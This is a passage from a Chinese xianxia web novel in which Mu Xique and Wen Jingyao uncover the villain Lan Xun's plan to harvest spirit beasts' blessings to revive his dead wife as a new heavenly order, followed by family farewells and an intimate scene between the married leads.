慕夕阙低声自言自语:“他明明可以崩裂琼筵山,让秽毒席卷整片大陆,逼迫镇守各个城池的玉灵出山抵御秽毒,这是最快戮灵的方式,可兰洵选择的是一个接着一个地杀,费力且耗时间……他不可能不知道这个阵法。” 当年知道的人应也不多,是各大世家的掌权人,共同销毁关于当年的事,应也是避免这阵法被太多人知晓,从而招致祸患。 闻惊遥为她添茶,将暖茶搁在她面前:“他知晓这阵法的事,祭墟外常年有人把守,除了前些时日的一根天柱被打碎,前后祭墟动荡但很快被镇压,秽毒逃不出来。” “所以鹤阶用来害人的秽毒应是兰洵给的,来源于过去灭门的小门小派,就如梅家村、灵翠谷陈家,梅医仙说梅家村的山崩了,灵翠谷陈家的山谷当年也崩塌了,镇压的秽毒应是被他收走。” “可他却并未对琼筵山动手。”慕夕阙抬眸与闻惊遥对视,“他在做什么?” 不等闻惊遥开口,慕夕阙想到什么,忽然道:“玄武先前告知你,兰洵躲避天道的锁定靠的是谋戮玉灵,夺取玉灵的福泽,这福泽遮盖了他周身的业障,在天神眼里他就相当于玉灵的存在……玉灵的福泽可以抵御天谴。” 两人沉默,彼此自小聪慧,此时更是想到一块儿去了。 业障是有牵连效应的,所以前世闻惊遥不能告知慕夕阙他决定崩裂地脉、回溯一切的真相,否则慕夕阙作为知情人却未阻拦闻惊遥的话,她也是推动这世界覆灭的助力,来日业报也会摊在她头上几分。 兰洵这人已走到极端,慕夕阙想起当时在海外仙岛打架之时兰洵说过的话,他说他见到了天神,或许他知道这么多事情,便是那时知晓的。 慕夕阙并不觉得兰洵做的这一切仅仅是为了报复,否则他完全可以直接崩了琼筵山引来灭世之灾。 并未这般做,要不就是他不想灭世,要不就是他如今不能灭。 慕夕阙低声喃喃:“玉灵这般强大,他消失的那些年里一直在谋戮玉灵,夺取的福泽应足够他躲避天谴了,可他还在杀……他想要更多福泽,所以他打上了金龙和青鸾的主意,这两只玉灵在众多玉灵中实力强悍。” 闻惊遥还未开口,慕夕阙方才切断的玉符再一次亮起,来信仍是越疏棠。 她蹙眉接起,越疏棠声音焦急:“慕二小姐,方才鲲潜了上来,它带上来了二十颗……二十颗山灵的心脏!” 慕夕阙顷刻间皱起眉头:“确定是?” 越疏棠一口气道:“这些神兽间相护感应,鲲点头了的!是山灵心脏,已经石化枯萎,福泽已全数被吸干,而且还是刚吸干没多久的!下面还有口冰棺尚未带走,观其样式,应是万年前的款式。” “还有吗?” “没有,只有二十颗吸干的心脏和一口冰棺,什么都没了,我们也无法下潜到万丈深的海底。” 慕夕阙道:“好,我知晓了,多谢。” 玉符刚被切断,慕夕阙便起身往外走,闻惊遥再顾不得其他,也紧随其后。 他知晓慕夕阙要去做什么,边走边向庄漪禾等人传信,等到了空地时便祭出灵舟,两人一同上去,灵舟启航驶向十三州的海域。 灵舟之上,慕夕阙坐在窗边,望向下方飞速掠过的城池,百姓们尚不知云川被劫的事情,也不知兰洵这人的存在,各大世家都瞒着不敢让其知晓,恐民心惶惶容易出事。 “人死如灯灭,何况陈夫人的尸身已被挫骨,在此界复生已无希望,兰洵并不知十二辰能回溯,只有玄武知晓,它并未告知兰洵。” 闻惊遥的神情肃重,语调却仍平静:“在动琼筵山前,他要先杀够足够的山灵,夺取它们的福泽,福泽可以抵御天谴,夕阙,我想你也猜出了他要做什么。” 慕夕阙并未说话,她的脸色罕见阴沉,重生以来还是鲜少有这般生气之时。 这些时日他们整日除了修炼便是坐在一起想这些事,却总是差些什么,与真相失之交臂,直到越疏棠今日告知他们鲲带上来了二十颗山灵心脏。 若说世上知晓最多的,除了造世的神,便是这片大陆第一个诞生的神兽。 十三州东南侧的海域风平浪静,空旷的陆地外堆砌了尚未建好的城墙,里头有不少人躬身建造房子,他们围着一座山用心垒砌新的城池。 在鹤阶的管辖下逃出的百姓们追随玄武离开,跨越千山万水来到了沿海。 灵舟落地之时,有人抬头望去,以为是鹤阶派人来了,修士们忙拔出武器准备应敌,却只见这艘偌大灵舟内走出两人。 有人愕然道:“圣尊,慕二小姐?” 慕夕阙拱手行礼:“诸位放心,我们并非代鹤阶前来,此番来是为寻玄武,有事商议。” 找玉灵商议事情? 百姓们一头雾水,从人群中走出两个模样年轻,瞧着十五六岁的修士。 景洲拱手行礼:“慕二小姐,少主,若想见玄武请随我来。” 景洲和宁筠是闻家派来帮扶这些百姓建造城池的闻家弟子,不仅闻家,慕家和师家,以及一些与鹤阶并无勾结的家族也都派了人来。 “多谢。” 景洲在前面带路,宁筠跟在慕夕阙身边说道:“二小姐,百姓们开荒种地,建造房舍,一些世家都拨了银钱来,如今约莫再有半年,便能家家有房住,有地种了,届时会有人来教他们捕鱼,以后捕鱼也是这些百姓们的收入之一。” 慕夕阙颔首:“辛苦。” 宁筠不好意思笑笑,摸摸脑袋:“应该的,二小姐来找玄武应是有要紧的事,玄武如今还未融入山中,它在海里,我们时常能见到它。” 景洲和宁筠带两人穿过这整座尚未建造完的城池,来到海岸边,日光落在海面上折射出细碎的光,远处有渔船航行,船只不如海外仙岛的多,十三州并不靠海吃饭。 宁筠指着远处:“少主,二小姐,玄武在那里。” 幽蓝海水杯分割向两边,有东西在海中快速游来,浮出水面的是一只蛇头,龟蛇合体的玄武体型比山大,只有宽广的海才能容纳它。 慕夕阙曾经不理解为何这些山灵必须要融进山里,非灭城大灾降临便绝不会出山,以禁锢自由为代价才能护佑一座城池,直到如今她才明白,让这些神兽居于山内的不只是这些城池,更是镇压在地底万丈深的秽毒。 玄武眨眼间便到了眼前,它从海中浮出,慕夕阙和闻惊遥在它面前不如它的瞳仁大,它垂眸看着几人,却并未有睥睨的姿态,萦绕在它周身的,是一种极尽的温和,削弱这只庞然大物的凛然。 可没有认主,无人听得懂玄武的话,纵使他们有话想问也无从得知。 玉灵极通人性,从他们二人来这里后,玄武便知晓是为它而来,它垂首将硕大的脑袋抵到两人面前,慕夕阙退后了一步,示意闻惊遥与之缔结契约。 这似乎是最好的法子,闻惊遥命不久矣,待他死后这契约自然消失,玄武会再认新的契约人,而慕夕阙日后会有金龙契约。 这是来的路上,慕夕阙已经和闻惊遥商议过的事。 闻惊遥抬手,抵住玄武的额头,青色灵力环绕在周身,缔结契约只是一瞬间的事,当他再次睁开眼,玄武也抬起了头。 宁筠和景洲走远,戒守四周。 慕* 夕阙直接问玄武:“当超过九成的玉灵死去后,这片大陆便没有抵御灾难的能力,天灾不断,天神会毁掉这个已将死的世界,那么是否还会再打造出新世界?” 玄武似乎也诧异她竟会问出这种问题,它安静许久,末了看着闻惊遥颔首。 闻惊遥转达玄武传给他的话:“会,那是造世的天神,任务便是造出不计其数的小世界,一个世界有一个世界的天道,旧的天道陨落,新的天道会在万年后诞生,天神还会再次赐予这个世界福泽。” 慕夕阙问:“神会怎么灭世?” 玄武传音,闻惊遥转达:“地崩天塌,覆灭一切,所有都会化为虚无,这片大陆会经历万年的混沌期,直到新天道诞生,福泽再次降临世间。” 慕夕阙点点头,并无惊讶,附和道:“也就是说,山灵还会再次来到这世间,玄武、朱雀、金龙、青鸾等等,都会复生,护佑新诞生的生灵,运转一个新的世界。” 这次说完她安静许久,垂眸不知在想什么,玄武也并未离去,静静等待她开口。 约莫一刻钟后,慕夕阙再次抬眸:“神主动覆灭世间,是否因为有人灭世,而我们都未能阻拦,那么未能救世的业障便会摊在这千千万万百姓头上,天谴荡平一切?” “是。” “天谴是否能识别福泽,不会诛杀带有福泽之气的生灵?” “是。” “如果一块血肉带有福泽之气,便能避免天谴,经历万年的混沌后在新世界重获新生?” “是,福泽过于浓郁,可能会成为新的天道。” “天道到底是什么?” “有的世界是某个人,有的世界是一棵树,一朵花,一座山,都有可能成为天道,注视这个世界的兴衰。” 慕夕阙有那么一瞬间,觉得兰洵真是疯了,人怎么能癫狂到这种程度? 闻惊遥的脸色也沉得骇人,两人在那一刻不是觉得诧异,而是从心底而发的怒火。 一个人为了一个并非绝对能实现的猜测,可以赌上自己的命,赌上所有生灵的命,残虐至极,毫无底线。 慕夕阙拨通朝蕴的玉符,那边刚一接起,她便咬牙道:“兰洵在谋戮玉灵,夺取他们周身的福泽,融给陈夫人,当天谴灭世之时,陈夫人会因为周身的福泽躲过天谴,在万年混沌后,她可能会成为新的天道,届时无人敢杀她。” 朝蕴愣了下:“陈夫人不是死了吗?尸骨无存,怎能复生?” 慕夕阙回道:“谁说她尸骨无存了,兰洵剖出了一只玉灵的心脏换给陈夫人,那原先属于陈夫人的心脏呢,难不成他会丢了?” “……只是一颗早已停止跳动的心脏罢了,那只是一坨血肉,没有神魂啊。” “可新世界诞生后,天神会赐予这块血肉生命,让它重获新生。” “……可重获新生的,还是陈夫人吗?” “兰洵不管它到底是不是陈夫人,总之他也会死于这场天谴中,他只要这块属于陈夫人的血肉再次活过来,它有这么浓郁的福泽,它很可能会成为新的天道。” 一个被众人执掌生死,逼迫自戕的人,在新世界诞生后,成为了新的天道,凌驾于所有生灵之上,她变成了掌管别人生死的存在。 这就是兰洵要的“公正”。 作者有话说:昨天太卡文了,写了又删,请假了一天,花了一晚上重新捋了一遍大纲,今天还有一章,还没写完,大家可以不用等,睡醒来看~ 本章发个红包~ 第92章 第 92 章 “夕阙是这世上最好的人…… 对十三州和海外仙岛而言, 足以毁灭一切的秽毒在兰洵看来,只是一团黑雾。 他行走在满是秽毒的祭墟,杀了那么多的玉灵, 他周身的福泽不仅可以躲避业报,也足够驱逐这些秽毒。 兰洵并未在海外仙岛养伤, 也没有回十三州, 在整片大陆都在搜寻他的踪迹之时,无人知晓他进了祭墟。 今日兰洵并未戴獬豸面具,面具被他挂在腰间, 他只有杀人的时候才戴这面具。 及腰的黑发用一根木簪挽起,祭墟内的阵法为暗红色,红光足以照清他这张脸。 兰洵生得并不丑, 相反, 十分的俊俏, 五官精雕细琢般完美, 当年陈知韫一眼便相中了他的脸, 这世上只有兰洵会让陈知韫夸赞好看。 祭墟内的路崎岖不平,兰洵却如履平地,来到一处断崖前, 他纵身跃下跳至崖底。 这里是唯一没有秽毒的地方,有他的结界相护, 秽毒不敢侵入, 悬空的琉璃盒中装着的是一颗在万年前便停止跳动的心脏,汲取了太多福泽, 这颗心脏已不像血肉,更像是一颗琉璃珠子般剔透纯净。 明明只是一块血肉,兰洵却好似见到了陈知韫在自己面前, 他的眉目竟有些罕见的温柔,苍灰色的瞳仁也不再冷淡,如装了春水般。 “夫人,你已经好久未来过我梦中了。” 兰洵抬起手,隔空轻碰那颗“心脏”,他有些小心翼翼,好似知晓自己惹她生气了,压低声音道,“你是不是在生我的气,你这么好的一个人,定是不想看我这般做。” 可一颗心脏怎么会回应他呢,除了在梦中,他再也未听过陈知韫的声音。 兰洵安静了会儿,忽然又咧嘴笑起来,霜白的齿在红光映衬下有些阴森。 “对啊,你这么好的一个人,他们却要谋害你,逼死你,慕念蓁有罪,她不该将淞溪刑罚交予你;林家有罪,他们不该设计让你染上秽毒;那些修士有罪,他们凭什么逼死你?” 兰洵挺直脊背,褪去了所有的愧疚和小心翼翼:“所以我应该为你报仇啊,他们执掌了你的生死,那么这一次,你来掌管他们的生死,这才是你追求一生的公正,不是吗?” 在祭墟这几月,他的伤已经养好了大半,兰洵在琉璃盒旁坐下,他看着远处不敢靠近的黑雾。 “秽毒害你死去,没关系,天谴会将这些秽毒也一并消除,包括罪孽深重的我,你会重新来到这世间,没有任何记忆,这一切都与你无关。” 可他絮絮叨叨说上好多话,也不会有人回应他。 说了几个时辰后,兰洵似乎也累了,他闭上眼,安静待了会儿,过了约莫一刻钟才缓缓睁开眼。 “那两个孩子竟然能活到现在……他们定是见过玄武,早知他们还活着,我定不会放过这两个孽种,岂能容他们活上万年?” 两个彼时年岁不大的孩子将陈知韫引去了杀阵中,竟能看着将他们从襁褓中带大的养母被枭首挫骨,兰洵遍寻了多年,本以为陈知韫的胞妹和那两个孩子寿数已尽,才泄愤灭了灵翠谷陈家。 没想到他们还活着。 兰洵起身,为琉璃盒再次加固了结界,轻声道:“本来没想这般早的,我想再为你多夺些福泽,金龙、青鸾、麒麟、朱雀和鲲都很强大,它们的福泽强盛,可如今情况有变,我不能再拖下去了。” 他上前一步,将那一方小盒子抱进怀里,侧脸贴着冰凉的琉璃盒,也并不觉得寒意刺骨,陈知韫在的地方,便是雪原也温暖如春。 “这一次,我让你去主宰这世间,对错都由你来定。”- 这片大陆要乱了。 从得知兰洵的目的那一刻,所有人便知晓了,一场恶战已不可避免。 慕夕阙在夜幕将至之前回了淞溪。 大殿内,朝蕴端身正坐,慕夕阙独身走进。 “阿娘。” 先前她便将已和闻惊遥缔结婚契的事告知了朝蕴,朝蕴虽有惊讶,也训斥了这不合礼法,却也并未有过多的反对,只告诉他们这些事了后,一定要补个婚宴。 来的路上该说的都说了,朝蕴叹气,抬手扶额,另一手指了指左侧的位置:“坐吧。” 慕夕阙并未坐下,她站在殿内看着朝蕴。 母亲的疲累肉眼可见,作为家主,近些时日来事务太过冗杂,她要处理的事情不少,席不暇暖,疲态明显。 朝蕴揉了揉眉心,闭着眼道:“我已将你们说的都告知了那些世家,先前乱成一团,如今大灾来临,想必有些人为了自己的安危也会竭力援助,还用不到你们,便继续歇息——” “阿娘,我得和您商议一件事。”慕夕阙直接道。 朝蕴睁开眼,抬眸看去:“什么事?” 慕夕阙道:“我和闻惊遥要进祭墟。” 朝蕴的脸色一点点冷下。 双目对峙,片刻后她冷声开口:“明知他很可能在祭墟,你们还是要进去?” 慕夕阙却上前,她在朝蕴身旁坐下,宽大的家主座可以容纳两人,她靠着朝蕴的肩头。 幼时慕夕阙与朝蕴并不亲密,纵使这将近一年来好转不少,她也粘人许多,可女儿乍然的靠近和亲密,仍让朝蕴愣了神,竟有些手足无措。 慕夕阙闭上眼,低声道:“我得跟您道个歉。” 朝蕴只觉得喉口梗塞,僵着嗓子问:“为何?” “我惹您生了很多气,阿娘,我说宁愿自己不是您的女儿,我说您一点也不爱我……我说过很多很多过分的话,年少时气盛,那些都是气话。” 重生以来,慕夕阙并未和朝蕴正式道过歉,此刻她抱着朝蕴,侧脸枕着母亲的肩膀,温声道:“其实做您的女儿,是我最幸福的事,我知道您爱我,也爱阿姐,您只是没办法。” 明明是女儿的倾心话,可落在朝蕴耳中,她却觉得无端的心慌,好似要失去什么,下意识搂紧慕夕阙。 “说什么呢,这么大人了。”朝蕴无意识搂紧她,“你听话一次,这些事真的不要掺和,你们做的够多了,小夕,为了阿娘,为了慕家,你听话一次。” 慕夕阙很想听她的话,在那百年里她无数次想过,如果能重来一次,她一定好好听朝蕴的话,她再也不发脾气了。 可正是因为太过于在乎他们,这次她才不能听话。 慕夕阙低声道:“阿娘,这次您和慕家听我的话一次,您相信我,您得信我。” 夜色已深,大殿内的烛火燃起,蜡油崩裂的声音在寂静的殿中分外明显,朝蕴只觉得,那声音聒噪得令人心慌。 良久,朝蕴声音沙哑:“你会活着回来找阿娘吗?” 慕夕阙只能抱紧她,坚定道:“会的,阿娘。”- 不同于淞溪慕家的热闹,闻家入夜后静谧无声,除了巡逻的弟子,路上见不到几人。 但家主殿内灯火通明,庄漪禾坐在窗前批阅东浔卷册,这些曾是闻承禺挑灯要做的事,如今她当上家主,落在了她的头上。 先前闻惊遥时常会来帮她处理些事务,但自打他此次重伤醒来后,庄漪禾便回绝了他要来帮忙的请求,让他养伤修炼。 外头还在落雨,混着淅沥雨声,紧闭的门被人敲响。 庄漪禾怔然了瞬,抬眸看过去:“进来。” “阿娘,是我。”闻惊遥推开门,纵使打了伞,肩头仍落了些雨,沾湿了些青衫。 见是他来,庄漪禾起身:“惊遥,今日去见了玄武,一路上应也疲累,怎么还不休息,小夕呢,没回来吗?” “夕阙回了淞溪。”闻惊遥淡声回答,“我来看看您。” 庄漪禾瞪他一眼:“都说了这些事不用你处理,我自己便能批阅,让你好好养伤。” 闻惊遥只看了眼桌案上摞起的卷册,随后收回目光,看向庄漪禾。 庄漪禾年岁并不大,她的性子温柔中又带了韧劲,闻承禺死后,庄漪禾独挑东浔,重担压在身上,纵使闻惊遥和一些长老已竭力分担,可紧缺的人手和累积的族务也足以压得她喘不过气。 她苍老了许多。 庄漪禾的发髻上还戴着闻承禺送的簪子,这几月来,似乎她常戴的发饰便是这套。 见他不说话,庄漪禾皱眉:“阿娘说了不用你帮忙就是不用帮忙,回去休息吧。” 闻惊遥这时开口了:“阿娘,夕阙告诉我,无论怎样,我得告诉您真相。” 慕夕阙告诉他,他瞒着母亲天谴的事,虽是为了庄漪禾好,可对庄漪禾来说,猝不及防的打击接二连三,短短时间内丧夫丧子,这对她太残忍了。 庄漪禾愕然道:“……什么真相?” 闻惊遥垂眸,说道:“天谴,阿娘,是我的天谴。” 这些事从旁人口中说出,庄漪禾只会觉得荒诞无边,可偏偏是闻惊遥。 在闻惊遥冷静告知她所有事情的这一刻钟内,庄漪禾忽然觉得好似一场梦,这场梦让她失去了大半闻家,失去了相互扶持几十年的夫君,如今噩梦的结局,竟还要夺走她仅剩的孩子。 庄漪禾一步步后退。 闻惊遥素来坦荡,如今却低着头,半分不敢看她。 他沉声道:“我死后,闻家嫡传绝嗣,后续的家主由您从旁支挑选,我相信您的决断,青鸾也会认可的,生养之恩来不及报,我不孝至极。” 庄漪禾只觉得,呼吸进来的每一缕空气都在切割她的肺腑。 她听到自己颤抖的声音:“……若你就此不修炼,不可吗?” 闻惊遥沉默了许久。 院里的雨越下越大,当一道闷雷炸起,轰隆的声音令人耳畔嗡鸣,他抬起眸子,看向早已红了眼睛的母亲。 “我是天罡篆之主,过些时日这片大陆需要天罡篆,我会想尽一切办法让自己进境,阿娘,闻家家规‘济时行道,慎终若始’,修士伏节死义,并无不妥。” 庄漪禾冷着脸:“这家规葬送了你父亲,他这一生从小到大没一刻是为自己活的,连他的死都是保全这座城的计划,是他提前几年算计好的,如今你要告诉我,你要去走他的后路?” 庄漪禾是冷静的,即使眼底通红,她却并未掉泪,也并未疯狂训斥,甚至语气与寻常并无太大区别。 闻惊遥无法为自己辩驳。 庄漪禾背过身,消瘦的肩膀好似忽然垮了下去,她看着燃烧的烛火,漠然问:“你所言并未有半句框我,什么前世什么溯回都是真的。” “是。” “你必须要尽快进境,没有办法了是吗?” “没有办法。” 庄漪禾与闻惊遥见面并不多,怀胎十月生下的孩子四岁便离开了她,明明就在雾璋山上,她却只能一年见他三次,作为母亲又怎能不心疼。 可她没有办法,这是闻惊遥作为闻家嫡传的责任。 闻承禺未雨绸缪,瞒着她在几年前便规划了如何利用自己的死保全这座城,这是他身为闻家家主的职责,她没有办法。 如今唯一的孩子要去赴死,她还是没办法。 庄漪禾看着地砖上倒映出的身影,沉声道:“惊遥,你知道让一个母亲看着孩子去送死,是剜心之痛吗?” 闻惊遥垂眸,长睫颤抖,垂在身侧的手攥紧,喉口滚了又滚,那两个字却怎么都说不出来。 “但如果是你觉得正确的路,那就去吧。”庄漪禾并未追问他的回答,她仍未转身,却扬起了下颌,挺直了脊背。 “我从未后悔嫁给你父亲,也并未后悔生下了你,我钦佩你父亲的大义,也不会阻拦你走你的大道……可是如果有一丝的机会,你能不能尽力……尽力活下来?” 闻惊遥无法给她回答,只能跪地,重重叩首- 慕夕阙回到自己的住处已是后半夜,刚沐浴完走出水房,便瞧见院里站了个人。 闻惊遥应也刚赶来,他换了身干净的青衫,提了袋糖蒸板栗。 慕夕阙眉头一挑:“一天都离不开我,我不是说过几日回去吗?” 闻惊遥将板栗放在桌上,低声道:“夕阙,我想见你。” 慕夕阙闷闷笑了两声:“闻大少爷似乎没来过我这屋里吧,你过去最多进到院里。” “嗯,是。” 闻惊遥极为守规矩,过去来见慕二小姐也只是站在院外,订婚后才迈进她这小院的大门,却从未进过寝殿。 “把板栗收起来,我明日要吃。”慕夕阙转身朝寝殿走去,“过来,今夜歇在这里吧,左右两家都知道你我结了婚契。” 闻惊遥这次并未推脱,该做的不该做的都做完了,应也坦荡些。 慕二小姐的寝殿奢华至极,入目的一张桌子都价值千金,闻惊遥进来后便觉得,闻家花费几年建造的画墨阁估摸着还是让慕夕阙受了委屈。 慕夕阙路过屏风,顺手脱下寝衣外衫搭在屏风上,闻惊遥下意识侧目避让,听到耳边一阵笑,是慕夕阙在笑。 “我哪里你没见过,这会儿想起来你家那规矩了?” 闻惊遥薄唇微抿,和她坦然相对已不少次,这些时日他们睡在一起,虽不是夜夜这般,但年轻人血气旺,也没少折腾,他有时放得极开,有时又拘束无措。 慕夕阙靠入软榻,侧躺着看他,笑吟吟道:“真是便宜你了,我知道前世的事情时,是想着不至于杀你,但也不打算理你的。” 闻惊遥在她身前单膝蹲下,低头亲亲她的眉心,温声问道:“为何原谅我了?” “你中箭昏迷不醒的时候,我忽然觉得很累。”慕夕阙侧枕着自己的胳膊,任由闻惊遥拂开她的鬓发别到耳后,她看着他说道,“因为兰洵和那些世家的算计,我失去了挚亲,年少为数不多的挚友,一个背叛我,一个被家族控制不能靠近我,一个我想尽办法想杀掉,那些年我活着只有仇恨。” 闻惊遥与她鼻尖相抵,低声道:“夕阙,对不起。” 慕夕阙扯了扯唇角:“当一百来岁的慕夕阙太累了,所以想要作为十几岁的慕夕阙活一次,闻大少爷心里怕是得开心极了,我少女时期就觉得你顺眼,只是跟我阿娘赌气,她越是想撮合你我,我就越是拒绝。” 闻惊遥捧住她的脸:“夕阙,你喜欢我,这是我的福气。” 慕夕阙闷闷笑了几声:“第一次喜欢人,看上了个命不久矣的。” 闻惊遥含住她的下唇吮了口,贴着唇说:“以后擦亮眼睛,要找个长寿且对你比我好的。” “切,这世上能如你一般蒙住眼睛喜欢我的人可不多。”慕夕阙撇撇嘴,捏住闻惊遥的脸扯了扯,仰头吻上他的唇,黏黏糊糊的吻过后,双唇分离,她拍拍他的心口。 “记好了,这里头只能有我。” 闻惊遥握住她的手,将自己的侧脸枕在她的掌心,弯眸笑道:“这里头只有你,只有慕二小姐,天地可鉴。” 慕夕阙笑了声,她戳戳他的鼻梁,又触碰他长而密的睫毛,末了,两人相视笑出声来。 慕夕阙骂道:“闻惊遥是这世上最大的傻子。” 闻惊遥亲亲她,温声道:“夕阙是这世上最好的人。” 作者有话说:来喽来喽,晚上还有更新,更新发红包~ 咱们是he,放心~ 第93章 第 93 章 “你这样,我才能放心。…… 慕夕阙在慕家歇息了几日, 一日清晨,朝蕴敲响了她的院门。 “小夕,祟种出现了。”朝蕴的面容苍衰许多, 说话也有些无力,“今日清晨传来的信, 方家遭祟种夜袭。” 慕夕阙颔首:“嗯, 我知晓了。” 朝蕴看着她,眸色沉重,情绪复杂极了, 从今早接到传信,她便明白,自己留不住慕夕阙多久了。 她转身朝外走去:“跟上阿娘。” 金龙栖息在琼筵山后山的山谷中, 路途并不远, 慕夕阙跟着朝蕴走了一刻钟便能到, 两人站在崖边望向下方, 纵使看不到底, 也能听到沉重的呼吸声。 朝蕴祭出家主玉牌,金光如流星般向谷底坠落,不多时, 她们便听到沉重闷吼声,赤金色的灵力托着三枚龙鳞升上, 在虚空缩小到一掌可以握住, 慕夕阙伸出手,三枚龙鳞落在她的掌心。 “只有契约之时, 玉灵才会主动赠予信物,此次的龙鳞并非是家主契约,而是它单独赠予你的。”朝蕴垂眸, 仿佛穿过幽暗看到了栖息在谷底阵法中心的金龙,这只坐镇整个大阵阵心的玉灵,强大凶悍,无可匹敌。 慕夕阙自然也知晓,金龙主动赠予龙鳞,是朝蕴前去求的,玉灵通人性,知晓近些时日十三州和海外仙岛发生了什么,自也知晓慕夕阙要去做什么。 她既然需要龙鳞,金龙便给了。 朝蕴道:“三枚龙鳞有金龙千年的修为,可助你跨过大乘直入渡劫,但是小夕,修为暴涨这般快,后果不堪设想。” 慕夕阙握紧龙鳞,颔首道:“阿娘,别担心。” 朝蕴缄默不语,慕夕阙收起龙鳞,看着朝蕴道:“阿娘,我和闻惊遥过几日便去祭墟,既然祟种已经动手了,兰洵应也等不及了,我需要跟您商议些事,也需要您去说服慕家长老们。” 朝蕴回身看她:“你要做什么,我们自是支持。” “不,您或许也不支持。”慕夕阙摇摇头,迎着朝蕴困惑的目光,她说道,“兰洵会让祟种来攻琼筵山的,阿娘,我要您放弃这座山。” 朝蕴的脸色一点点沉下,她对慕夕阙信任有加,几月前琼筵山被攻的那次,她相信慕夕阙一定会保全淞溪慕家,那也是将鹤阶从高台拉下的最好时机,那么难的事情他们都做到了。 可如今慕夕阙说的是放弃琼筵山,这是淞溪存在的根基,是十三州和海外仙岛的根基。 “小夕,你知道放弃琼筵山代表什么?金龙会出山,一旦它出山,这阵法便会碎裂,届时所有山里的玉灵都会出山抵御祟种。” “我知道。”慕夕阙说道,“阿娘,我知道这很荒谬,但您信我。” 这话有些过于苍白无力,换做任何一个人,兴许都不会信任慕夕阙,可玄武告诉她太多事情,和闻惊遥思前想后考虑了多日,这便是最好的法子。 放弃琼筵山,让金龙出山,让无数玉灵共同现身。 朝蕴却只是看着她:“小夕,若你和惊遥有半分差池,这片大陆便完了,有任何办法都不至于去走这条路。” “阿娘,没有办法了。” 慕夕阙走上前抱住朝蕴,感知到朝蕴的僵硬,她低声道:“知道的人不能太多,此事发生,慕家或许会因此被一些人误解,可是阿娘,这是唯一的破局之术,我们无法抵御那么多祟种,十三州总有人不信这阵法的存在,这些人自顾不暇,不会来守护琼筵山。” “我不会害你们的,您信我,我一定会将琼筵山还回来的。”- 慕夕阙在傍晚启程,灵舟驶向东浔。 她几日未来,闻惊遥这些时日也在东浔未出,两人虽不见面,可慕夕阙每日都能收到闻惊遥的传信。 闻惊遥不在画墨阁,慕夕阙知晓他去了何处,便未传音给他,在院里练了两套心法后,约莫戌时正闻惊遥才回来。 慕夕阙事先并未告知闻惊遥要回东浔的事,两人几日未见,腊月的天,闻惊遥仍是一身单薄青衣,周身寒气料峭,估摸着刚从雾璋山下来。 “夕阙?”闻惊遥反应过来,唇角微弯,走上前来,“今日怎得回来了?” “想回来就回来啊,哪有什么理由。”慕夕阙坐在院内的石凳上,单手托腮看着闻惊遥,“你去见青鸾了?” 闻惊遥道:“青鸾赠了我两根青羽,玄武先前还赠了我一枚背甲。” 慕夕阙眉梢微扬:“玄武也赠过我一枚背甲,在我闯鹤阶那日为了方便我逃离,不过那枚背甲没有它的灵力。” 闻惊遥在她身侧坐下,拉住她的手团在掌心中,他搓了搓合拢的手掌,垂眸问道:“冷不冷?” “还好。”慕夕阙回道,“七八日没见了,你这些时日都做了什么?” “修炼,处理家事,巡街,与你联络。”闻惊遥每日与她传信都会讲自己今日做了什么,日复一日,毫无新意的生活。 慕夕阙打趣道:“这么无趣,我不在,你看你多无聊。” “是,我很想你。”闻惊遥握住她的手贴在自己的脸侧,他总爱这般,让她摸摸自己,“夕阙,你想我吗?” 慕夕阙瘪瘪嘴:“倒也没那么想。” 闻惊遥也不生气,他一贯好脾气,闻言笑笑,偏头过去亲了亲慕夕阙的侧脸。 “我可真伤心。” 闻少主自打醒来后便格外黏人,脸皮也比之前厚了许多,说了不少过去的他是绝对无法开口的话。 水房内有处大汤池,用温润白玉造出,慕夕阙的胳膊屈起交叠垫在池边,及腰的长发柔顺飘在水面,她的下颌枕在自己的胳膊上,闭目假寐。 闻惊遥帮她浣好发,用玉簪松松挽起,青丝乍一挽上去,便遮不住纤细的身子,升腾的白雾令其若隐若现。 慕夕阙感知到柔软的唇在亲吻自己的肩胛骨,身后的人搂住她的腰,垂首自她的后颈往下亲吻,也只有这种时候,闻惊遥的体温会较之平日稍高些。 慕夕阙闷笑了声,长睫眨也不眨,仍闭着眼:“闻少主,你很喜欢这些事吗?” “喜欢你,才喜欢这些事。” 闻惊遥并非重欲之人,闻家人素来寡淡,不仅体现在性格行事上,包括自己的七情六欲。 可那些都是在和慕夕阙破戒之前。 这种事是如此畅快,两人在极尽拥有彼此,心里的快意远大于身体。 从他的唇落在后颈那时,火便撩到了全身,慕夕阙慢慢睁开眼,潮湿的雾气打湿了她的长睫,又在脸侧聚成水珠……其实她也分不清那是汗,还是泪。 “嘶……”他忽然发难,慕夕阙猝不及防吸了口冷气,回头瞧见闻少主仍是那副渊清玉絜的模样,不由瞪他一眼。 “装模作样,虚伪至极。” “嗯,我太虚伪了,该打。”闻惊遥笑了两声,单手垫在她的小腹前,一手捧住她的侧脸吻上去,堵住慕夕阙破碎的声音。 闻惊遥平时话少,在这种时候也只是比寻常多些,他不说那些浪荡的话,他也不会说,闻少主只是会密密地唤她的名字。 “夕阙,夕阙。” 这两个字从他嘴里不知道喊了多少次了,寻常喊喊也就算了,这时候总能让她听出些别样的感觉。 他们平日在一起便是修炼,练剑术,比试过招,又或商议近些天来的事情,两人并不沉溺情事,做这事的次数不多,今日是第一次在汤池里,倒是比过去容易了些。 慕夕阙被他转过来,脊背抵着圆滑的汤池壁,双手自他后颈交过,额头抵着他的肩膀,整个人几乎挂在他身上。 “闻惊遥……你又当牛了?” 他忽然用力,慕夕阙顷刻皱眉,一手撑住他的肩膀推了下,闻惊遥并不会跟她对着干,往往她说什么他听什么,旋即轻了些。 慕夕阙仰头看他,闻惊遥的眼尾薄红,水珠沿着脸侧落下,顺着下颌滴落,闻少主怕是鲜少有这般模样的时候。 双目相对,闻惊遥忽然俯身,抱紧她的腰身,埋进她的身前,慕夕阙常年练剑腰身柔韧,身子后仰,推着他的肩膀。 “再咬我,拔了你的牙。” 闻惊遥用齿关厮磨了会儿,见慕二小姐推得厉害,这才张嘴松开,他吻去莹亮的水珠,又转而吻向另一侧。 “夕阙,我放不下。” 纵使他说话声音含含糊糊,可慕夕阙还是听清了。 她忽然闷笑几声,喘着气问:“放不下……嘶,别撞……你放不下什么?闻少主也爱上这风流事了?” 闻惊遥从她的身前向上吻,吻在她的脖颈,绵绵密密的吻中,他低声说道:“我放不下你,我怎么能放得下你呢?” 池水晃得太响,慕夕阙皱紧眉头,咬紧牙关咽下碎得不成样子的声音,磕磕绊绊骂他:“混账,再这样就出去!” 